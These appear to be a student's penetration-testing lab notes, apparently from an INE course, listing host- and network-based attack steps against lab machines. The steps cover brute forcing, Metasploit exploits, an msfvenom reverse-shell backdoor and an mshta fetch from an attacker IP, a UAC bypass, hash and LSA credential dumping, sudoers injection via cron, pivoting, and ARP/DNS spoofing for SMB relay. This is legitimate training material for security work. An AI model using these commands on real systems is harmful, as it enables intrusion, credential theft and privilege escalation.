System/Host Based Attacks
- webdav metasploit
- use dirb to find the dav directory
dirb demo.ine.local - use davtest tool
davtest -url http://demo.ine.local/webdav - login with davtest
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav - msf module
iis_webdav_upload_asp, setRHOSTS,HttpUsername,HttpPasswordandPATH /webdav/metasploit%RAND%.asp
- use dirb to find the dav directory
- smb server psexec
- msf module to bruteforce
auxiliary/scanner/smb/smb_login, setUSER_FILEPASS_FILERHOSTSandVERBOSE - msf module to gain access
exploit/windows/smb/psexec, setRHOSTSSMBUserandSMBPass
- msf module to bruteforce
- insecure rdp service
- use msf module
auxiliary/scanner/rdp/rdp_scannerto detect rdp service - use hydra bruteforce
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://demo.ine.local -s 3333 - connect with xfreerdp
xfreerdp /u:administrator /p:qwertyuiop /v:demo.ine.local:3333
- use msf module
- winrm exploitation with msf
- msf module to bruteforce
auxiliary/scanner/winrm/winrm_login, setRHOSTSUSER_FILEPASS_FILEVERBOSEandPASSWORD anything - msf module to check auth methods
auxiliary/scanner/winrm/winrm_auth_methods - msf module to execute shellcode
auxiliary/scanner/winrm/winrm_cmd - msf module to get meterpreter session
exploit/windows/winrm/winrm_script_exec, setFORCE_VBS true
- msf module to bruteforce
- uac bypass with uacme
- HTTP File Server (HFS) is an example
- use searchsploit
searchsploit hfs - msf module
exploit/windows/http/rejetto_hfs_exec - common meterpreter
getuidsysinfo, migrate to privileged process likeps -S explorer.exemigrate 2332andgetsystem - check admin privilege
shellnet localgroup administratorsbut its admin without high privilege - to get high privilege, upload
backdoor.exefrommsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'andAkagi64.exefromUACMe - create a
PAYLOAD windows/meterpreter/reverse_tcpwith msf moduleexploit/multi/handlerand connect back withAkagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe - now we have high privilege, migrate to lssas.exe using
ps -S lsass.exemigrate 496and dump hashes withhashdump
- privilege escalation using token impersonation
- exploit hsf server with
exploit/windows/http/rejetto_hfs_execmsf module - load the incog plugin
load incognitoand check tokenslist_tokens -u - impersonate token with
impersonate_token ATTACKDEFENSE\\Administrator
- exploit hsf server with
- unattended installation
- use the PowerSploit framework and Powerup.ps1 scripts
powershell -ep bypass (PowerShell execution policy bypass). .\PowerUp.ps1Invoke-PrivescAudit - there is an
Unattend.xmlatcat C:\Windows\Panther\Unattend.xml, decode with base64 - using runas
runas.exe /user:administrator cmdand the password to login - to get meterpreter use msf module
exploit/windows/misc/hta_serverand get the url, then runmshta.exe http://10.10.31.2:8080/Bn75U0NL8ONS.htaon windows
- use the PowerSploit framework and Powerup.ps1 scripts
- kiwi extension
- exploit badblue 2.7
exploit/windows/http/badblue_passthru, migratemigrate -N lsass.exe, load kiwiload kiwi - dump admin NTLM
creds_all, extract userslsa_dump_samand get syskeylsa_dump_secrets
- exploit badblue 2.7
- proftp recon
- hydra bruteforce
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local -t 4 ftp - nmap bruteforce
nmap --script ftp-brute --script-args userdb=/root/users -p 21 demo.ine.local
- hydra bruteforce
- samba recon
- msf module bruteforce
auxiliary/scanner/smb/smb_loginsetPASS_FILEandSMBUser - using hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt demo.ine.local smb - using smbmap
smbmap -H demo.ine.local -u admin -p password1 - list the shares
smbclient -L demo.ine.local -U jane - check if it exists but not browsable
smbclient //demo.ine.local/jane -U jane, connect to smbsmbclient //demo.ine.local/admin -U admin - list the named pipes using msf module
auxiliary/scanner/smb/pipe_auditor, they faciliate IPC connection using IPC$ share - use enum4linux to get SID
enum4linux -r -u "admin" -p "password1" demo.ine.local
- msf module bruteforce
- cronjobs
- add user to sudoers by injecting script executed by root cronjob
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.shthensudo -lsudo suinto root shell
- add user to sudoers by injecting script executed by root cronjob
- exploiting suid
welcomefile has suid bit, just run it to get root bruh
- cracking linux password
- exploit proftp
exploit/unix/ftp/proftpd_133c_backdoorPAYLOAD payload/cmd/unix/reverse - post exploitation module to dump hashes
post/linux/gather/hashdumpset SESSION 1 - crack hash
use auxiliary/analyze/crack_linuxset SHA512 true
- exploit proftp
Network-Based Attacks
- netbios hacking
- get the security level
nmap -p445 --script smb-security-mode demo.ine.local - check for anonymous access
smbclient -L demo.ine.local - enumerate users with nmap
nmap -p445 --script smb-enum-users.nse demo.ine.local - using hydra with the list of users
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb - getting meterpreter with credentials msf module
exploit/windows/smb/psexec - pivot by adding route
run autoroute -s 10.0.22.69/20 - start a socks proxy, check the port
cat /etc/proxychains4.confand use msf moduleuse auxiliary/server/socks_proxyand setSRVPORT 9050VERSION 4a - nmap over socket connection
proxychains nmap demo1.ine.local -sT -Pn -sV -p 445 - migrate to
migrate -N explorer.exeand usenet view 10.0.22.69list shares on internal device - map the shares to drive
net use D: \\10.0.22.69\Documents
- get the security level
- snmp analysis
- snmp nmap bruteforce
nmap -sU -p 161 --script=snmp-brute demo.ine.localto get community string - get information on community string using
snmpwalk -v 1 -c public demo.ine.local - nmap get all info on snmp
nmap -sU -p 161 --script snmp-* demo.ine.local > snmp_output - using list of users, we can bruteforce smb using hydra
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb - login to smb using msf module
exploit/windows/smb/psexec
- snmp nmap bruteforce
- dns and smb relay attack
- setup the relay using msf module
exploit/windows/smb/smb_relay - configure dnsspoof
echo "172.16.5.101 *.sportsfoo.com" > dnsdnsspoof -i eth1 -f dns - enable port forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward - start arp spoof for both sides
arpspoof -i eth1 -t 172.16.5.5 172.16.5.1arpspoof -i eth1 -t 172.16.5.1 172.16.5.5 - once it receives the connection, you get a meterpreter shell
- setup the relay using msf module